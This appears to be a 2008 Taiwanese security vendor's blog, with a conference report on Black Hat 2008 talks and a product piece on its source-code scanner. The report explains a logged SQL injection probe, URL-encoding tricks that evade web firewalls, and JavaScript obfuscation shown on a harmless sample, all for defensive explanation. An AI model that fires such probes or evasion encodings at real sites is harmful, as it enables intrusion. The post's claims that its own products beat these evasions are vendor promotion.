從我這些年的經驗來看,在英語世界裏,北歐技術交流氣氛最好。其次是中歐,再次西歐,美國排最後。為什麽呢,因為像瑞士、瑞典、芬蘭這樣的披著資本主義狼皮的社會主義國家裏,在超市幹三年收銀員就可以買棟房子,人們永遠不擔心沒錢看病,不擔心失業。所以,人家搞技術的動力基本上都是馬斯洛四層以上,咱們這樣還得兼顧三層以下的,跟人家沒法比。

但是咱們畢竟也是社會主義國家,雖然是初級階段,但大家好歹都還不至於掙紮在一二層,所以貼點文章,聊點問題,也很合邏輯。但是這幾年情況有有些變化。

首先,一個根源問題是整個信息安全技術的基礎部分已經差不多都碼完了。各種理論和技術都很成熟,該有的文檔也都有了。再要搞點什麽東西,基本上都是建立在一堆參考資源之上的實際應用。而越接近實用的東西,越不會有人願意往外放。這個道理很容易理解:你隨便到哪個書店都能買到講E=MC²、原子裂變,甚至如何濃縮鈾等等這些高深理論的書,但是絕對買不到哪怕制造原子彈外殼的具體配方。

如果整個大環境還保持在2003年之前的狀態,可愛的Hacker們倒也不會太在乎實用不實用。但是世道畢竟變了。一部分人開始掙黑錢,他們當然就不會再跟別人分享發家致富的秘方。而另外一些沒去掙黑錢的,也不會願意把自己的東西白白送給別人拿去發家致富,寧可搞出來自娛自樂,然後爛在地裏。於是,最近幾年雖然國內搞這玩意的人多了,水平高的人也多了,但是真正高水平的公開交流卻少了。

客觀原因擺在這裏,所以抱怨毫無意義,絕對不會改變什麽。

不過我前面也已經說過了,其實這一塊兒的基礎文檔已經很齊備了,無論你想學什麽,都可以找到資料。除非你並不真的想學,只是給自己學不會找個理由而已。


作者 Wayne 為阿碼科技 CEO

(繼續閱讀:美國駭客年會 DEFCON 2008 觀察--第一天

繼續閱讀全文...

2008年8月19日

談源碼檢測: CodeSecure的架構與技術

源碼檢測在這幾年十分的火熱,難得的是這股源碼檢測熱潮不是資安廠商造勢呼口號或恐嚇取財的結果,而是來自用戶的迫切需求與怒吼。越來越多企業發現防火牆沒辦法以一擋百,入侵偵測系統在緊要關頭都不會叫,紮紮實實地買了一堆資安設備卻還是讓駭客輕鬆地從網站騙取網管權限、盜竊資料庫、網頁掛馬...,這才發現過去的資安防護重心過渡傾斜在建置資安"防堵"設備,想說當網站或應用程式出現安全漏洞時,要立即地提供防堵措施 (擋 IP、擋網址、擋關鍵字、擋 OOXX 等等),但這樣的實務經驗往往還是被駭得滿頭包,尤其有部分受駭者因而以為問題出在防堵規則不夠多、不夠細,那更慘了,又繼續買更多更高階的防堵設備,與駭客進行無止盡的軍備戰。

其實說穿了,就是網站的程式碼寫得不安全啊!駭客這幾年就專挑這些點來攻擊,而不再只是打伺服器的漏洞。從美國 CVE 常見漏洞列表就可觀察到近年所發現的漏洞幾乎都跟程式撰寫缺失有關,像是排名第一的跨網站入侵字串 ( XSS,亦稱跨站腳本攻擊),以及第二的資料隱碼 ( SQL Injection,亦稱 SQL 注入攻擊)。



撇開血拼資安設備以自保的衝動,及憂心受駭的焦慮,靜下心想想,假設今天擔心保險箱內的金銀財寶被偷,而偏偏這保險箱又擺在公共場所( Web 網站也是擺在單位的外網讓公眾存取),那麼當務之急是應該檢視保險箱的設計瑕疵,還是要檢討如何在方圓百里內加派更多警衛與加裝更高階保全設備?!我們很慶幸越來越多人發現要作 Web 網站的資安防護就該從源碼檢測著手,從 Web 應用程式揪出這些不安全的程式碼,在最源頭,亦即程式撰寫層次,便避開可能產生安全風險的疑慮,這才是正本清源地之道。美國國家標準局 ( NIST ) 開始在發展軟體開發生命週期中加入安全考量;繼 CVE 之後,美國國土安全部 ( DHS ) 也推出 CWE (常見軟體缺陷列表) 來提醒開發人員各種的不安全程式撰寫,我們的CodeSecure率先支持與支援CWE;在中國的「軟件產業 "十一五" 專項規劃」中指出應採用新的軟件工程方法開發可信的應用軟件,以提高軟件的安全性。台灣也在「政府資安作業共通規範」計畫中重點發展與示範導入的「 Web 應用程式安全參考指引」草案,正是推廣從源碼檢測著手的方向。全世界都動起來了!

當初我們很早就看到這個重大問題,攻擊方 (駭客) 越來越厲害 (自動化工具、大規模攻擊、僵屍網路),但 Web 應用程式卻無任何自動化工具來協助開發人員發現撰寫缺失,因此我們在2002年實作以自動靜態分析 ( Automated Static Analysis ) 技術為基礎的源碼檢測系統 (稱為 WebSSARI ),並在2003年對上百個知名開放源碼套件進行 XSS 與 SQL Injection 弱點的源碼檢測 (隔年 OWASP Top 10 2004 首次公布才將此二弱點列為十大Web撰寫缺失,而在2007年的 OWASP Top 10 2007 中此二弱點的排名更提升為第一位與第二位),在2003年寫完論文投稿,被 WWW 2004 接受並提名年度最佳論文,之後就成為阿碼科技的主力產品 CodeSecure 源碼檢測。下圖直接將當初論文中的架構圖剪下貼出:


在技術這方面,當時我們採取軟體工程領域中軟體驗證的作法,以自動靜態分析技術達到不影響程式之執行,於編譯期計算出程式在執行時所有可能的狀態。早期的軟體驗證為人所詬病的是執行效能始終無法提升,解析器的速度扮演關鍵的角色。由於程式語言的語法解析與諸多變數狀態,會消耗大量的運算成本與記憶體資源,如何有效降低解析成本便可大幅提昇解析器的執行速度。在過去此部分的實作常受限於狀態擴張 ( State Explosion ) 之問題,而無法有效驗證大量的程式碼。為避免此瓶頸,我們在分析源碼之前,首先將Web應用程式之弱點正規化為安全資料流之問題。我們先解析出程式碼中可疑的進入點,並標示所有惡意函示庫,以及可能的輸出點,這種作法讓我們將複雜的 Web 程式碼資安漏洞正規成一種自動狀態機,即 Latice 模型。正規化之後,我們配合所研究的語法暨設定弱點資料庫,發展出可利用靜態之分析來減少動態分析之需求;換言之,利用靜態分析,我們準確地標出程式中需要動態分析之部分 (也就是可能有弱點之部分),在程式尚未執行時,我們就能識別這些脆弱點需要特別處理,否則可輕易遭受外部惡意使用者的攻擊,譬如插入惡意腳本字串,含有 XSS 或 SQL Injection 等撰寫缺失。當時的源碼檢測系統 WebSSARI (即 CodeSecure 的前身) 日後被美國微軟專精源碼檢測的研究員 Ben Livshits 博士譽為此領域的開創者,爾後世界各國相繼投入的學術研究均引述我們的成果,迄今已超過上百篇

理論是如此,講這麼多我小結一下源碼檢測過程中幾個重要的分析步驟(有機會再分享這些步驟的技術細節...):
1. 進入點分析 (哪些是不可信任的資料?)
2. 語言語法分析 (哪些會影響安全參數?)
3. 輸出點分析 (資料會如何離開?)

源碼檢測的出現造福廣大網站建置案的承辦人員、驗收人員與開發人員,因為無論是在徵求建議書( RFP )要求應避免的資安風險,或在檢測報告中增列源碼安全性檢測,或在驗收階段中要求檢附源碼檢測報告,都因為有自動化源碼檢測工具的出現,才得以讓這些流程與控制措施得以落實與順利推動。

其實隨著 CodeSecure 在2007年初正式推出上市至今,堪稱是十國聯軍的在台研發團隊貢獻最多(吸引這麼多頂尖人才到台灣,還讓我們在2008年獲經濟部頒發金根獎! 這獎項的名稱還蠻 kuso 的 XD),或許美國總部將來會在其他地方成立研發中心,但目前的研發能量主要還是放在台灣的亞洲研發中心。這群人沒日沒夜地持續在精進研發,陸續開發出多個全球首創的源碼檢測功能,包括硬體式架構、純 Web 介面、弱點收斂分析、互動式弱點追蹤、弱點深度分析、受駭機率分析等等(這也讓我們獲頒 Red Herring 全球十大新創企業),我們就是要讓源碼檢測的操作非常容易使用,檢測結果非常容易瞭解,修補方針非常容易落實。同時,隨著客戶越來越多,我們為這個產品投入的技術支援與人員編制可說是一眠大一吋! 畢竟源碼檢測絕對不是產品的買賣而已,尤其是本地客戶可能會遇到的各種源碼檢測問題,都可經由我們本地的專業顧問直接參與及輔導,迎刃而解。

1. 硬體式架構 (免軟體安裝,所有人都連來這台作分析,不用麻煩地裝一堆有的沒的)
為了達成這個終極目標,每個要檢測的語言我們都得自行撰寫編譯器,這大幅增加我們的研發成本,但堅持這個路線也讓我們與其他競爭對手有所區隔,掌握編譯器攸關源碼檢測的涵蓋率與精確性。話說現在這個年代念資訊科系的學生聽到編譯程式都唯恐避之不及,所以我們的這個決定在競爭對手眼中肯定也是瘋了。

眼尖的人可能發現這只是個 CodeSecure 空殼 XD 沒錯,這個樣品第一天送到公司時大家激動地差點哭了,還鋼琴烤漆耶~ (後來的中高階 CodeSecure 機種則是用其他的機構設計)


這張圖巧妙地將CPU使用率停在2.0 :>



2. 純 Web 介面 (一個網址服務整個單位,所有同仁都可上網直接體驗源碼檢測,"節能省碳"!)


3. 弱點收斂分析 (開發人員需要去修補的弱點源頭是可收斂的,儘管駭客可攻擊的路徑是發散的)
過去的資安生態是作掃瞄的人很開心,「哇,一堆漏洞!」,但要負責修補的人很痛苦,因為有助益的資訊太少(弱點掃瞄、滲透測試最多只能點出結果卻沒有前因),不知為何要修,且漏洞都沒有進行系統化的收斂,也不知從何修補起,更甭談啥瞇幾百個 XSS 弱點的修補優先順序。源碼檢測搭起資訊安全與程式撰寫兩專業領域的橋梁,讓資安人員與程式人員更順利地共事與共識。


4. 互動式弱點追蹤 (直接在 Web 介面點選與追蹤弱點的來龍去脈和相關統計)



最末,CodeSecure 目前支援 PHP、ASP、J2EE(Java 全系列含 JSP) 及 .NET (C#, VB.NET, ASP.NET)。

作者 Dr. Benson Wu 為 阿碼科技 產品經理

繼續閱讀全文...

2008年8月18日

美國駭客年會 Black Hat 2008 觀察--第二天

此文續「美國駭客年會 Black Hat 2008 觀察--第一天」...

1. Rod Beckström: 國家安全
2. Arian Evans: Encoded, Layered, and Trancoded Syntax Attacks: Threading the Needle past Web Application Security Controls
3. Billy Hoffman: 擊敗 javascript 分析工具(Circumventing Automated JavaScript Analysis Tools)
4. Justin Clarke: SQL Injection 蠕蟲:為了興趣也為了利益(SQL Injection Worms for Fun and Profit)
5. Jeremiah Grossman: Get Rich or Die Trying - "Making Money on The Web, The Black Hat Way"
6. Matthieu Suiche: Windows Hibernation File for Fun and Profit

說真的如果不是要來 Black Hat / DEFCON,我是絕對不會想到這邊來的。我去過不少城市,但是了解我的人應該都知道,這邊除了駭客年會,還真沒有東西可以吸引我。

1. Rod Beckström: 國家安全(National Security)()

今天的 keynote 是美國政府資安界的當紅新人炸子雞 Rod Beckstrom,大家都來看他的風采。Rod 是我們營運長 Matt 的 Stanford MBA 學長,也是一位有名的創業家,他之前以 twiki 作者的身份,創辦了 TWIKI.NET。今年三月20日,他正式接受美國國土安全部(DHS、Department of Homeland Security)的邀請,擔任底下一個新成立的單位:「國家資安中心(National Cyber Security Center、NCSC)」的首席。NCSC 是一個新的跨部門單位,負責協調各資安部門之間情報的交換。

NCSC 的成立以及這項任命,是源自於布希於今年一月簽同的一項機密的指引,主要用以擴大情報界對於目前日益嚴重的針對美國的網路攻擊之掌握度,因為之前美國情報單位對於資安攻擊的掌握過渡零散,缺乏一個中央協調的組織。Rod Beckstrom 其實並沒有資安背景,但是他有創業家的經驗,對業界很熟,成功創辦 TWIKI.NET 幫助企業用 wiki 觀念協調資訊交換,以及著有很暢銷的「The Starfish and the Spider」一書,提出新的分散式企業管理概念,這些都是美國國土安全部(DHS)看中他的原因。



Rod 講了很多美國政府的歷史與政府在資安方面的歷史,基本上我覺得就是幫政府建立形象啦,表示美國政府從電報的年代就很懂資安與情報的重要。我對美國政府的歷史沒有興趣,我對駭客的歷史比較有興趣,但是我覺得 Rod 的加入對布希政府在形象上一定是一大加分,因為 Rod 感覺很有業界經驗,不會讓外界覺得政府都閉門造車。

Rod 講了他認為目前資安難做的原因,我非常的認同。他說,有些球類,進攻難,防守易,例如足球,所以分數都不高(幾比幾);有些球類,則是進攻容易,防守難,例如籃球,所以分數都很高(可以破百)。資安比較像籃球;事實上在資安裡面,防守比攻擊要難太多太多了,這也就是資安難做的原因。

這個我完全認同。是的,要有好的防守,必須很懂得敵人,很懂得敵人所用的攻擊方法。所以重要的駭客年會我們都會派人參加。但是這只是基本功而已。懂得攻擊之後,要設計防守,又更加困難。為什麼?因為攻擊成本低,防守成本高!就拿防毒軟體來說,其實測不到,不是防毒廠商沒有樣本,可是防毒軟體不能佔用系統太多資源,所以樣本不能無限制的長大,必須有所選擇,在盡量不影響到系統效能的前提下,達到最高的偵測率。

又像如果打生物戰,那麼一樣,設計病毒,只需能感染讓人致死就好,可是設計解藥,不但要殺死病毒,還要保存人體不被破壞。不論在網路空間或實際生活中,攻擊總比防守簡單太多,這是資安難做的原因。再加上攻擊處於主動,何時攻擊可以自行選擇,但是防守處於被動,何時被攻擊無法預期,所以無時無刻都需要檢查與防範,而這些無時無刻都需要做的檢查與防範,都是成本的增加,這也是資安難做的原因。

另外 Rod 探討了一些我們在業界常探討的資安的投資報酬率問題。感覺他有觀念,但是畢竟他之前不在資安產業,探討的東西都還太淺了些。以下是兩張投影片,基本上是說,如果 x 軸是資安的投資,y 軸是因為資安投資而減低的損失,那麼需要找到投資報酬率最高的點。但是 Rod 你說用一條 45 度的線跟曲線取交點,是這樣嗎?我高中畢業很久了,博班資格考也沒考微積分,但是我怎麼直覺覺得,要分析要看此曲線斜率,所以要做一下一次微分後分析...



這裡有他當天演講的一段錄影:



2. Arian Evans: Encoded, Layered, and Trancoded Syntax Attacks: Threading the Needle past Web Application Security Controls

聽完之後去幫 Jeremiah 捧場,聽他同事 Arian Evans(大會)講「Encoded, Layered, and Trancoded Syntax Attacks: Threading the Needle past Web Application Security Controls

這個題目就不翻譯了,基本上整個演講在說一件事:Web 上的攻擊,如果加上各種不同的編碼方式,那麼穿透率幾乎可以達 100%,沒有任何 Web 防火牆可以阻擋。這是指 Web 防火牆設定成利用黑名單的情況下,如果花時間設白名單的話,一樣可以阻擋,可是一般稍微有規模的站,我看到大部分都是用黑名單方式,因為設白名單是很繁瑣的事情,需要找到好的廠商才行。

講到這裡,其實我深深覺得資安業,找對公司比找對產品重要多了。不論是源碼檢測或 Web 防火牆,如果賣方只是想塞產品給您,那麼買了再好的,牌子在大的產品也沒有用,一樣會失敗,最後還是會發生資安事件。如果找對好的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。其實對方有沒有心做服務,還是只想塞產品,還有對方的技術團隊有沒有實力,通常很快就能看出來。


這張明天要去賣 Arian 了,拍得太好了 :)


投影片一拿出來就開始講今年初進行到現在的大規模 SQL Injection 加網頁掛馬攻擊(阿碼科技新聞稿PC World(IDG)ITHome)。Arian 拿當初 Neil Carpenter 蒐集到的攻擊字串做例子:


2008-03-08 13:37:13 /dir1/archive.asp id=z%27%20ANd%20char(124)%2Buser%2Bchar(124)=0%20and%20%27%25%27=%27

這是一行 web server 的 log。在這個例子裡,%XX(例如 %27、%20、%2B)是 URL encoding 的一部份,會被 web server decode,decode 完變成:


2008-03-08 13:37:13 /dir1/archive.asp id=z' ANd char(124)+user+char(124)=0 and '%'='


然後整個 SQL injection 字串,會被 SQL server 解碼成:

id=z ANd |user|=0 and '%'='

不要說多層編碼,即使只用一層的 URL 編碼,就可以因為 UTF-8,而使同一個字串幾乎有無限種編碼可能。譬如一個簡單的:


GET / indexA.html HTTP/1.1

就可以被編碼成:


GET /index%41.html HTTP/1.1
GET /index%2541.html HTTP/1.1 (double percent)
GET /index%%34%31.html HTTP/1.1 (double nibble)
GET /index%%341.html HTTP/1.1 (first nibble)
GET /index%4%31.html HTTP/1.1 (second nibble)

然後如果再利用 2-byte or 3-byte UTF-8 編碼的話,變化又更多了。

但是這整個演講的內容其實對我來說一點都不新,這些編碼來穿透 Web 防火牆的方式大概四五年前很多書還有 paper 都已經介紹得很完整了。整理起來,整個演講的重點就兩個:
一、由於 UTF-8,攻擊字串幾乎有無限種編碼方式。
二、攻擊可以分層的編碼,像上述例子,一層給 web server 解,一層給 SQL server 解。或穿插 URI % encoding 或 UTF-8 encoding、HTML decimal entity encoding、SQL server encoding(char())等混合使用。

3. Billy Hoffman: 擊敗 javascript 分析工具(Circumventing Automated JavaScript Analysis Tools)
聽完後去聽好友 Billy Hoffman(大會wikipedia)的演講:「擊敗 javascript 分析工具(Circumventing Automated JavaScript Analysis Tools)」。Billy著有「Ajax Security」,上次在 RSA 2008 辦簽名會,我一口氣簽了很多本回來送朋友,讓他高興得不得了。既然是 Billy,當然要照帥一些囉!有沒有注意到左下方 Billy 的筆電?併購後筆電也該 HP 囉!



今年講網站掛馬的演講真是多,其實這個題目去年就很紅了,今年年初再加上兩點,使得這個議題紅到不行:

一、年初的大規模自動 SQL Injection 加 網頁掛馬(阿碼科技新聞稿PC World(IDG)ITHome

二、網路掛馬所使用的 javascript 語言,其編碼與變形太過容易(除了大家熟悉的 MPack 自動化犯罪工具包,現在線上的 javascript 編碼/變形服務也到處都是:看這裡這裡。)

Billy 在他的摘要裡就直接提到:「拜 MPack 所賜,大部分惡意 javascript 都編碼過
(Obfuscated JavaScript payloads are the norm thanks to malware frameworks like MPACK.)」

的確,根據「IBM X-Force 2008 年終趨勢報告(IBM X-Force 2008 Mid-Year Trend Statistics)」,2007年後半年,網頁掛馬中 javascript 編碼變形以達 100%:「A year later, in the second half of 2007, Web browser attack obfuscation approached 100
percent.」

在這個 talk 中,Billy 講了惡意程式變形技術與偵測技術間永無止境的鬥智遊戲。這是我很期待的一個 talk,因為跟我們 HackAlert 非常相關。

Billy 今年的研究延續去年 Ben Feinstein(網頁Blog)跟 Daniel Peck(blog-1blog-2) 講的 Caffeine Monkeypaper投影片程式碼)。

OKOK,繼續之前,我們先來看看這些人到底在講什麼。

現在的大規模自動網站掛馬(阿碼科技新聞稿PC World(IDG)ITHome)都是利用 SQL Injection 漏洞在網頁裡安插惡意的 javascript。這些 javascript 都經過變形(或稱編碼)。利用 MPack,甚至可以動態變形,也就是說,每一個訪客所下載到的網頁,裡頭的 javascript 都經過不同的變形。

變形的 javascript 到底長什麼樣子?我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿」來看好了,其中用的一段範例 javascript:


function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}

圖 1

好,現在我們用 malwareguru 上的線上編碼工具 Vanishing Point Packer(網頁malwareguru 上提供的線上 demo),把上面這一段 javascript 貼進去,按「pack」,原本的 javascript 就變成了以下這段了:


eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))

圖 2

網路上隨便 Google 「javascript obfuscator」或「javascript packer」,可以找到一堆線上的服務,每一個變形出來都不太一樣。舉幾個例子:

Yellopipe source code encrypter:


document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));

圖 3

Audit My PC HTML Encoder:


document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u0064\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u006E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0020\u0020\u000D\u007D\u0020\u0020');

圖 4

中國的「网?免? 孤程?雪」線上服務:


t="97,108,101,114,116,40,39,72,101,108,108,111,32,102,114,111,109,32,87,97,121,110,101,32,111,102,32,65,114,109,111,114,105,122,101,33,39,41,59"

t=eval("String.fromCharCode("+t+")");

圖 5


嗯嗯,圖五很熟悉吧?各位 IT 應該都不陌生...是的,這種編碼方式很受到前一波掛馬駭客的喜愛,很多網站掛馬都長得很像圖 5...所以我們把這個「网?免? 孤程?雪」站的話面貼出來一下好了:


圖 6

編碼還可以分很多層,可以用不同的編碼器編過幾層。看到這些,我們想一想,現在很多 gateway 產品,都號稱他們可以及時偵測與阻擋惡意網頁...現在網路頻寬都很大,在這麼大的頻寬下,一個 gateway 裝置要 buffer 住所有的 HTTP response,然後即時的執行 javascript 解碼,然後識別惡意程式...您相信嗎?

看著圖 1-5,您也許會想,編碼過的 javascript 都有一些特徵,例如都是一堆的數字,偵測這些特徵,不就可以偵測到惡意的 javascript 了嗎?問題是這會有很多的誤判。因為原本這些 javascript 編碼器,都不是拿來做網站掛馬的,而是用來保護 javascript 的智慧財產權的。Javascript 必須要在瀏覽器上執行,所以不論你花多少時間寫 javascript,最後誰都可以拿到你的程式,因為 javascript 不會編譯成執行檔,而是直接以程式碼的方式傳到瀏覽器上,再由瀏覽器執行。所以為了要保護 javascript 程式不要輕易的被有心人研究,許許多多的程式設計師,都會將自己的 javascript 利用上述這些編碼器編碼或變形。也就是說,編碼過的 javascript 不見得都是惡意的,很多大型網站上,擁有非常多編碼過的 javascript,大部分商售的 javascript,也都經過編碼變形。究竟有多少 javascript 編碼器?很多,連 Yahoo! 都提供 Yahoo! 的 javascript 編碼器,也介紹其他好用的編碼器。

好吧,那到底該如何偵測呢?HackAlert用的是實際的瀏覽器環境,所以沒有問題,不論什麼樣的 javascript 變形方式,或者此 javascript 攻擊什麼樣的未知的 0day 弱點,反正只要試圖攻擊,就一定測得到。可是這樣的技術要對 windows 環境以及各 browser 的構造很熟才行。

這次在 Black Hat / DEFCON,在會後的一些 meeting 中,我發現一個很有趣的現象,就是在偵測網站掛馬方面,「使用者」(大銀行,大企業,軍方,情報單位)的功力,有時反而比廠商甚至講師更強。探討下來,因為網站掛馬太嚴重了,可是廠商都沒有好的解決方案,號稱可以測到的,其實都是用靜態分析或黑名單方式,沒有辦法即時,辨識率也偏低,所以這一年下來,「使用者」只好 DIY,自己利用 Caffeine Monkeypaper投影片程式碼)或 spidermonkey 來偵測(SANS最近也玩了一下),但是就如同 SANS 的 Daniel Wesemann 說的:「But SpiderMonkey is only a JavaScript engine - it doesn't emulate the browser and doesn't even have a "document" or "location" object...」。Caffeine Monkey就是建構在Spidermonkey 之上。SpiderMonkey 是 Mozilla 的 javascript 執行器,但是不是一個瀏覽器,還缺很多環境,Caffeine Monkey 一方面設法補足,一方面增加了一些自動偵測的技巧。

Billy 今年的 talk,則是針對諸多以 SpiderMonkey 為基礎的偵測方式做破解,列了一打以上的破解方式,不過基本上可以粗分為兩類:

一、偵測抓網頁的是否是真的人還是要偵測的機器人(執行 SpiderMonkey 之類的)

二、直接用一些方法,讓以SpiderMonkey 為基礎的的自動偵測失效。

對於(一),Billy 列了很多的方法,包含了 HTTP/browser fingerprinting、DOM testing and encrypting、Doman and Network testing、Execution environment testing、cross plugin communication testing 等等。Billy 的演講是針對 SpiderMonkey Caffeine Monkey 設計的,所以這次講的方法對以這些為基礎的技術或產品真的很有效。以這些為基礎的產品很多嗎?非常多,因為這些是開放源碼的程式,現在很多公司都是看到客戶有需要了,不做研究,不花功夫,拿一些開放源碼的程式整合一下,就把產品推出了。有的時候從客戶那邊聽到這些業務的語言,我真的不敢相信,怎麼大家都這麼敢虎!客戶又不是笨蛋,你說你功能都有,其實是那一些開放源碼堆起來的,客戶難道就不會測試嗎?我接觸的客戶技術水準都越來越高,這些說話不打草稿的業務,應該會越來越吃虧。

Billy 講的方法,基本上對 HackAlert 都無效,因為 HackAlert 後端基本上就是一套跟使用者一模一樣的環境,是我們自己開發的,不是拿開放源碼的程式湊的。

對於(二),則分兩方面。一方面,因為 SpiderMonkey 畢竟不是整個瀏覽器環境,所以很容易可以用一些方法偵測出,執行的環境是「人」在用的瀏覽器,還是偵測用的環境。如果次偵測用的環境,那就不發動攻擊,環境也就測不出來了。另一方面則是利用 SpiderMonkey 環境跟真正瀏覽器環境的不同,把 javascript 設計成,在 SpiderMonkey 環境下無法成功執行,那麼 SpiderMonkey 就測不到了。

一樣,對 SpiderMonkey 很有效,對 HackAlert 則無效。

但是看這兩種攻擊,其實用一句 Billy 最後講的話就可以總結了:「現在我碰到的網站掛馬越來越多是用 vbscript 而非 javascript。SpiderMonkey Caffeine Monkey 都只支援 javascript,所以一旦惡意程式用 vbscript,所有這些偵測方法都完蛋了。」

寫到這邊,如果您回去看 圖 6,左上角的第二個和第三個按鈕:「VB 網頁加密」、「VBS 腳本加密」,也就說明了一切--在必要的情況下,駭客用 vbscript。

於是 Billy 在演講中強調又強調,目前沒有開放源碼的 vbscript parser,造成他研究的瓶頸。我會後跟他說,vbscript 雖然是很爛的語言,但是文法還是能表示出來,我們約花一個月時間就做出 vbscript 的 parser 了。所有語言裡面,vbscript 的語法最模擬兩可,最難用 lalr 表示出來,但是解譯不只需要 parser,還需要處理如 scoping 等等,幾乎等於需要一個 compiler,所以即使他弄出了 parser,後面的功夫還很大。他問我們為何這麼快可以完成 vbscript parser。問題是...我們本來就是源碼檢測的公司,parser 跟 grammar 對於源碼檢測或 compiler 的公司來說,是基本功。我們原本做 vbscript parser,是為了 CodeSecure 對 ASP 語言的支援,不是要偵測惡意程式。

至於我們的 vbscript parser,是否會用在 HackAlert 中,輔助偵測網站掛馬呢?目前看起來沒有必要。不論是 javascript 或 vbscript,這些都是 interpreted 語言,不是 compiled 語言。Interpreted 語言,動態可以產生新程式,語法也較不嚴謹,太多狀態需 runtime 時才能決定,非常不利於靜態分析技術。HackAlert 目前動態偵測方面,完全模擬使用者環境,偵測率很高,不需要再靠其他方式。

最後 Billy 你說我們的 vbscript grammar 可否開放源碼,這我們得思考看看了。

這裡可以看到 Daniel PeckCaffeine Monkey 作者之一)
blog 對於 Billy 這場演講的看法

Billy 的演講一向都很受歡迎,如果您想要聽,他有一場 2007 年底在 Google Toolkit Conference 上講的 Ajax Security:



4. Justin Clarke: SQL Injection 蠕蟲:為了興趣也為了利益(SQL Injection Worms for Fun and Profit)投影片下載

Ok,我必須承認,在 Billy 演講的中間,我落跑了 20 分鐘... 我去聽了 Justin Clarke (大會blog)的短演講:「SQL Injection 蠕蟲:為了興趣也為了利益(SQL Injection Worms for Fun and Profit)」。看這就知道今年網頁掛馬熱到什麼程度了,竟然同一時間有兩個演講,逼不得已只好跟 Billy 請個假了!

Justin Clarke (大會blog)是 Network Security Tools (O'Reilly)的作者,也是 SQL Brute 工具的作者。



Justin 主要就是講今年年初開始的大規模 SQL injection 加網站掛馬攻擊,但是我發現,我們對這些攻擊的掌握度似乎更快。基本上他所有講的,我們在之前都公開過了:阿碼科技新聞稿PC World(IDG)ITHome

整理重點:大規模攻擊,SQL Injection 指令設計得很好,針對微軟的平台,利用 Google (?q=)找尋攻擊點,SQL Injection 的目的是為了要掛馬...等等。這邊重點是,雖然 HackAlert 可以偵測掛馬,但是為何會被入侵掛馬?都是因為有 SQL Injection 漏洞,故需把程式改好,才是徹底解決之道。今天聽到現在已經第三場講大規模 SQL 加掛馬了,大家的 SQL 漏洞快修修吧!

5. Jeremiah Grossman: Get Rich or Die Trying - "Making Money on The Web, The Black Hat Way"投影片

聽完又回去捧場 Jeremiah 了,這回他帶同事一起講:「Get Rich or Die Trying - "Making Money on The Web, The Black Hat Way"」。



Jeremiah 這次講的,跟我上次安排他來台北(他blog的遊記1遊記2,值得看)講的「商業邏輯錯誤(Business Logic Flaws)(他的 blogpaper)」其實是一樣的,只是多花了一些時間整理出更有去的內容:怎樣可以利用這些邏輯錯誤來賺錢(其實也就是會造成什麼損失啦!)。但是所介紹的邏輯錯誤本身,跟在台北講的那場差不多。他帶著年輕的同事 Trey 一起講,感覺是要訓練後輩,而 Trey 以這麼輕的年紀,這麼滿的一間,台風算很好了,應該沒讓 Jeremiah 失望啦!

他們這次的投影片可以在這裡下載。講完後他們接受的訪問在這裡:



6. Matthieu Suiche: Windows Hibernation File for Fun and Profit投影片下載

最後去了 Matthieu Suiche (blog大會)的演講:「Windows Hibernation File for Fun and Profit」。Matthieu 是專門分析 Windows 休眠檔工具 Sandman 的作者。


他對於這次演講的 blog 在這裡,投影片在這裡:PDFPPTXdemo 環境在這裡。其實內容跟我們在台北辦的 SySCAN Taipei 2008 裡 PK 講的「犯罪現場: Windows 記憶體內容擷取與鑑識」差不多,基本上就是 demo 從分析記憶體或休眠檔,可以取出非常多的資訊。PK 那場講得非常好,我很感謝他。PK 的許多內容應該都是參考 Matthieu Suiche的,因為 Matthieu 是這方面的先驅,修眠檔的資安問題方面研究,他算是祖師,他的 Sandman也是現在這方面最領先的工具之一。

好啦!終於寫完啦!感謝各位花時間看完。這些資安會議多跑幾個,攻擊的趨勢,技術的進步,產業的趨勢就都很容易掌握了。沒有時間去的就看我的 blog 囉。另外我們在台灣辦的會議,品質也都很好,有空可以多來。

之後我會寫 DEFCON 以及綜合起來這次我的心得。此篇是詳細報導,已經太長了,沒法寫心得啦!

Thanks for reading!
(前文:美國駭客年會 Black Hat 2008 觀察--第一天
(繼續閱讀:駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?
(繼續閱讀:美國駭客年會 DEFCON 2008 觀察--第一天

作者 Wayne 為 阿碼科技 CEO



繼續閱讀全文...